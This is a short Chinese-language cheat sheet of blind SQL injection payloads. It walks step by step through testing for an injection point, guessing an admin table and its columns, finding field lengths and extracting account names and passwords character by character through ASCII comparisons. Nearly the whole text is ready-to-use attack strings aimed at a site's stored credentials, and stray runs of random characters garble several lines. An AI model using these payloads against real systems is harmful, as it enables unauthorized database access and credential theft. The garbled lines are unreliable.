SQL注入语句2

admin

1..判断有无注入点
; and 1=1 and 1=2


2.猜表一般的表的名称无非是admin adminuser user pass password 等..
3 `4 v% C; k. b1 q  s( x% Vand 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表


3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
猜列名还有 and (select count(列名) from 表名)>0
7 j- Q" {; z9 y/ q) y8 f7 }

2 H6 u& d' d- K1 z2 Y- C- {, D# ?. K. |4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

1 o% L6 `; ]' |: A, g/ d  O; S  r
+ p' N+ P5 Z$ Y8 b0 s! I1 Z. H5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
# L7 `2 S2 O. q% S6 hand 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

' H6 J) h0 e. n+ e8 w. O6 V' Q# \2 t

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
2 t9 \9 X4 |; Z$ ~- m' G" Z% t/ O! |and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
5 E+ `9 y" U+ b: w5 M: Y$ F  r. E9 r就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
; a. @) b# k. q& p
猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
9 ~6 }! J" F0 V. _; d这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
